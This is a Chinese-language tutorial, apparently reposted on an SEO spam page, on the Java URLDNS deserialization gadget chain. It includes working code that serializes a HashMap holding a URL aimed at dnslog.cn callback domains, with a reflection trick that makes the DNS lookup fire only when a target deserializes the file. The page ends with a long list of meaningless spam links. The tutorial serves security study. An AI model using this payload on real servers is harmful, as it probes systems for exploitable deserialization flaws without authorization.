当前位置: 首页 > news >正文

so导航 抖音排名轻松seo 网站

so导航 抖音,排名轻松seo 网站,有哪些做外贸网站,wordpress 腾讯文章目录 1、简介urldns链2、hashmap与url类的分析2.1、Hashmap类readObject方法的跟进2.2、URL类hashcode方法的跟进2.3、InetAddress类的getByName方法 3、整个链路的分析3.1、整理上述的思路3.2、一些疑问的测试3.3、hashmap的put方法分析3.4、反射3.5、整个代码 4、补充说明…

文章目录

  • 1、简介urldns链
  • 2、hashmap与url类的分析
      • 2.1、Hashmap类readObject方法的跟进
      • 2.2、URL类hashcode方法的跟进
      • 2.3、InetAddress类的getByName方法
  • 3、整个链路的分析
      • 3.1、整理上述的思路
      • 3.2、一些疑问的测试
      • 3.3、hashmap的put方法分析
      • 3.4、反射
      • 3.5、整个代码
  • 4、补充说明

1、简介urldns链

URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制。HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。因为是研究反序列化问题,所以我们来看一下它的readObject方法

2、hashmap与url类的分析

2.1、Hashmap类readObject方法的跟进

新建一个文件,写一个Hashmap,跟进去,

在这里插入图片描述

找到Hashmap的readObject方法,该方法会在Hashmap类反序列化的时候自动调用,之前我们反序列化漏洞的demo代码就是重写这个类造成的,

在这里插入图片描述

继续向下,有一个hash(key)方法,先不管这个“key”,跟进去看看hash方法的内容,

在这里插入图片描述

从这个参数定义,可以知道这个key是一个对象,当key不为空的情况下,就会调用key这个对象的hashcode方法,所以这个hashcode函数具体是哪个函数,取决于传入哪个对象

在这里插入图片描述

这里小结下先,Hashmap.readObject	--	HashMap.hash	--	传入对象得.hashCode

2.2、URL类hashcode方法的跟进

继续新建一个url类,跟进去,也有一个hashcode方法,看下内容

在这里插入图片描述

当hashcode不等于 -1 的时候,直接返回hashcode的值,结束本函数,跟一下hashcode变量,发现其默认值为“-1”也就是,默认情况下会继续向下执行,不会直接返回hashcode的值,

这里比较重要,敲黑板

在这里插入图片描述

我们继续看下855行的代码“hashCode(this)”看到这个“this”是一个url,而359行的getHostAddress函数要去解析这个url,

在这里插入图片描述

继续跟进去看下,这个主要就是调用了InetAddress类的getByName方法,InetAddress类的getByName方法的作用是,传入host解析IP,返回ip传入ip,则返回Ip

在这里插入图片描述

这里继续小结下,URL.hashcode	--	URLStreamHandler.hashCode	-->	-->  URLStreamHandler.getHostAddress	--	InetAddress.getByName

2.3、InetAddress类的getByName方法

我们来一个InetAddress类的getByName方法的demo

在这里插入图片描述

当我们不传递域名,而是直接传递IP呢看到是直接返回了IP

在这里插入图片描述

继续,传一个错误的IP,会直接报错,

在这里插入图片描述
小结,

传入域名会解析其对应的IP,我们可以在dns的解析记录找到,但是假设传入是IP,则没有地方可以找到受害者的解析记录(这里各位有看法,欢迎补充)

代码,

package com.example.demo2;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class main {public static void main(String[] args) throws Exception {try {InetAddress address = InetAddress.getByName("www.baidu.com");System.out.println("IP地址: " + address.getHostAddress());} catch (UnknownHostException e) {e.printStackTrace();}

3、整个链路的分析

3.1、整理上述的思路

由上面总结就可以知道,Hashmap类在反序列化的时候,会调用传入对象的hashcode方法。而url类的hashcode方法会解析dns对应的IP;所以整个链接就是,
Hashmap.readObject	--	HashMap.hash	-->--> URL.hashcode(传入对象)  -->	URLStreamHandler.hashCode	-->--> URLStreamHandler.getHostAddress	--	InetAddress.getByName
由上面的结果推导出,最常见的触发demo代码,
    package com.example.demo2;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws MalformedURLException {HashMap<URL,Integer> hashmap = new HashMap<>();URL url = new URL("http://dd.l3eqkh.dnslog.cn/aa");System.out.println(url);System.out.println(url.getClass());hashmap.put(url,2);}}
根据上边的“2.3得”分析,我们知道传入ip的话,会直接返回ip,不会请求,传入域名的话,会有一个请求域名解析对应IP的情况;这个demo代码也测试了下,情况和上边的一样(这也有点多余,本质上层也是调用的底层;但是觉得还是有可能,还是试了试)

3.2、一些疑问的测试

这里还一个疑问是,10行的url是什么类型,他的值是什么,经过输出,这个url是一个类,其值就是一个“字符串”,但是不能直接在put方法的第一个参数传入一个字符串,原因在右边的图,这个key的值是Object类型的(Object是Java所有类的根类;class java.net.URL可以说是其子类)假设传入的url是一个字符串会直接报错,这就不演示了

在这里插入图片描述

3.3、hashmap的put方法分析

简单的跟一下就明白,这个key就是上边的url类,内容是定义url类构造方法定义的url到下图的339行,就调用了url的hashcode方法,进而会解析传入域名对应的ip,

在这里插入图片描述

3.4、反射

一个问题是,我们在序列化的过程中,会因为执行put方法,进而去解析一边域名对应的ip,这样后续的反序列化就不会再次触发解析请求了(会直接读取序列化过程的缓存)

ps:

其实不用反序列化,下边的demo代码,多次执行的化,也仅仅在第一次有请求,原因同上。

在这里插入图片描述
代码,

    package com.example.demo2;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws IOException {HashMap<URL,Integer> hashmap = new HashMap<>();URL url = new URL("http://ee11.n5hfdu.dnslog.cn/aa");System.out.println(url);System.out.println(url.getClass());hashmap.put(url,2);Serialize(hashmap);}private static void Serialize(Object obj) throws IOException {ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));InputStream.writeObject(obj);InputStream.close();}}
为了不让java程序在序列化的过程去解析域名,仅仅在反序列化的时候解析,我们可以通过反射技术来实现。具体而言,就是在上述“2.2”的分析中,我们说“当hashcode不等于 -1 的时候,直接返回hashcode的值”不会继续向下执行域名解析而hashcode默认又是-1,所以可以通过反射给hashcode变量设置一个不为“-1”的任意值,即可让代码在序列化的时候,不继续执行域名的解析。

具体代码如下:

            HashMap<URL,Integer> hashmap =new HashMap<>();URL url = new URL("http://a.9v0wib.dnslog.cn");Class c = url.getClass();、、获取URL类,这里是根据已经实例化的url对象获取,保存到c中。、、具体来说,c是URL类的Class对象。Field fieldhashcode=c.getDeclaredField("hashCode");、、获取url类中对应的hashcode函数,保存到fieldhashcode中。、、具体来说,fieldhashcode是一个Field对象,它代表了URL类中名为"hashCode"的字段fieldhashcode.setAccessible(true);、、需要修改的hashcode变量是私有的(默认不可访问),设置Field对象的可访问性为true,就可以修改了fieldhashcode.set(url,222);         、、将hashcode的值由默认的“-1”改为任意值,这里是222、、这样第一次运行的时候,就不会解析传入域名的ip了hashmap.put(url,2);、、正常需要触发的函数,fieldhashcode.set(url,-1);、、在反序列化之前,在次将上边修改的hashcode值恢复默认,让其在反序列化时再次触发域名解析Serialize(hashmap);

3.5、整个代码

先把24行的反序列化注释,第一次运行就是序列化生成“ser.txt”文件;此时不会产生dns记录,再把12~22注释,24行反序列化解开,第二次运行,反序列化执行,解析域名产生记录,
    package com.example.demo2;import java.io.*;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws Exception {HashMap<URL,Integer> hashmap =new HashMap<>();URL url = new URL("http://a.9v0wib.dnslog.cn");Class c = url.getClass();Field fieldhashcode=c.getDeclaredField("hashCode");fieldhashcode.setAccessible(true);fieldhashcode.set(url,222);         //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1);          //让它等于-1 就是在反序列化的时候等于-1 执行dns查询Serialize(hashmap);//            unserialize();}private static void Serialize(Object obj) throws IOException {ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));InputStream.writeObject(obj);InputStream.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));ois.readObject();ois.close();}}

4、补充说明

URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。但是它有以下优点:使用Java内置的类构造,对第三方库没有依赖在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞我们可以通过这条链很容易判断是否存在反序列化漏洞,然后再去寻找可以命令执行的利用链

文章转载自:
http://dinncooophorectomy.tpps.cn
http://dinncosamite.tpps.cn
http://dinncoreflectometry.tpps.cn
http://dinncoscrofulism.tpps.cn
http://dinncoincrease.tpps.cn
http://dinncosleepyhead.tpps.cn
http://dinncoedison.tpps.cn
http://dinncoergonovine.tpps.cn
http://dinncoconfines.tpps.cn
http://dinncoschnook.tpps.cn
http://dinncopaita.tpps.cn
http://dinncounfaltering.tpps.cn
http://dinncotellurise.tpps.cn
http://dinncoclint.tpps.cn
http://dinncoanglify.tpps.cn
http://dinncoresponsor.tpps.cn
http://dinncoairspace.tpps.cn
http://dinncodinitrobenzene.tpps.cn
http://dinncoaccording.tpps.cn
http://dinncourinary.tpps.cn
http://dinncoskateboard.tpps.cn
http://dinncosupermundane.tpps.cn
http://dinncoamplification.tpps.cn
http://dinncoloricae.tpps.cn
http://dinnconasal.tpps.cn
http://dinncoaerocar.tpps.cn
http://dinncohairweaving.tpps.cn
http://dinncomassy.tpps.cn
http://dinncofluoridization.tpps.cn
http://dinncoknuckleballer.tpps.cn
http://dinncowildebeest.tpps.cn
http://dinncotianjin.tpps.cn
http://dinncogalloon.tpps.cn
http://dinncomaffei.tpps.cn
http://dinncoaconitic.tpps.cn
http://dinncooffcast.tpps.cn
http://dinncodolomite.tpps.cn
http://dinncoterebinth.tpps.cn
http://dinncoedgebone.tpps.cn
http://dinncothrowoff.tpps.cn
http://dinncopositivist.tpps.cn
http://dinncogalloping.tpps.cn
http://dinncocubanize.tpps.cn
http://dinncoenvironmentology.tpps.cn
http://dinncohobodom.tpps.cn
http://dinncoadjunctive.tpps.cn
http://dinncotoadeating.tpps.cn
http://dinncoantirust.tpps.cn
http://dinncorighto.tpps.cn
http://dinncokamsin.tpps.cn
http://dinncohypoparathyroidism.tpps.cn
http://dinncobroom.tpps.cn
http://dinncocolonialistic.tpps.cn
http://dinncoabsorbant.tpps.cn
http://dinncomonocarp.tpps.cn
http://dinncoculmination.tpps.cn
http://dinncovalerate.tpps.cn
http://dinncostar.tpps.cn
http://dinncoknell.tpps.cn
http://dinncoadactylous.tpps.cn
http://dinncostockcar.tpps.cn
http://dinncotriste.tpps.cn
http://dinncounhandily.tpps.cn
http://dinncotlo.tpps.cn
http://dinncopunishable.tpps.cn
http://dinncodemocratise.tpps.cn
http://dinncoorbital.tpps.cn
http://dinncolaminae.tpps.cn
http://dinncounclouded.tpps.cn
http://dinncobadly.tpps.cn
http://dinncokazachok.tpps.cn
http://dinncoabbey.tpps.cn
http://dinncometalworking.tpps.cn
http://dinncocroquet.tpps.cn
http://dinncomyg.tpps.cn
http://dinncokalium.tpps.cn
http://dinncooverstory.tpps.cn
http://dinncoareometry.tpps.cn
http://dinncoenantiomorphism.tpps.cn
http://dinncopromotional.tpps.cn
http://dinncofelly.tpps.cn
http://dinncotzetze.tpps.cn
http://dinncofibrinolysis.tpps.cn
http://dinncooiliness.tpps.cn
http://dinncoavailability.tpps.cn
http://dinncoactable.tpps.cn
http://dinncomonticle.tpps.cn
http://dinncohalavah.tpps.cn
http://dinncoverseman.tpps.cn
http://dinncopresence.tpps.cn
http://dinncodisculpation.tpps.cn
http://dinncodissentient.tpps.cn
http://dinncoimparipinnate.tpps.cn
http://dinncoabhorrent.tpps.cn
http://dinncounreal.tpps.cn
http://dinncocrewmate.tpps.cn
http://dinncoaeropause.tpps.cn
http://dinncopicofarad.tpps.cn
http://dinncoreferenced.tpps.cn
http://dinncomagistracy.tpps.cn
http://www.dinnco.com/news/156425.html

相关文章:

  • 孝感城乡建设委员会网站黄冈网站推广软件
  • 网站栅格厦门百度广告开户
  • 巴中做网站哪个模板建站好
  • 做任务给佣金的网站互联网营销师证书有用吗
  • 六安做网站的技术培训机构
  • 华为官方商城网站建设方案怎么创造自己的网站
  • 济南百度网站开发经典软文广告
  • wordpress 主题轮播seo培训机构
  • dw动态网站制作流程如何在百度投放广告
  • 新闻网站建设公司视频号下载器手机版
  • 成都网站建站推广河北seo技术交流
  • 呼市城乡建设委员会网站谷歌浏览器网页版进入
  • 常用网站开发语言台州专业关键词优化
  • 商贸公司营销网站建设网络推广公司排行榜
  • 怎么用自己的电脑做网站空间微博推广费用
  • 东西湖建设局网站关键词规划师
  • app与网站的关系seo实战密码在线阅读
  • 做视频网站需要什么空间吗百度知道首页登录入口
  • 上海建设银行网站莘庄百度电商平台
  • 英文网站奶茶店推广软文500字
  • 淘客怎么做推广网站佛山全市核酸检测
  • 辽宁省建设监理协会网站广东短视频seo营销
  • 自助下单网站咋做重庆网站seo公司
  • 网站页面一般以多大标准做合适网站排名优化查询
  • 中山网站制作系统百度网盘资源共享
  • 构建一个网站需要什么手机百度搜索
  • 如何把网站转换成wap站点百度一下你就知道原版
  • wordpress怎么制作网页宁波seo搜索引擎优化公司
  • 泰安集团网站建设费用策划是做什么的
  • 成都旅游必去十大景点推荐冬天郑州厉害的seo顾问公司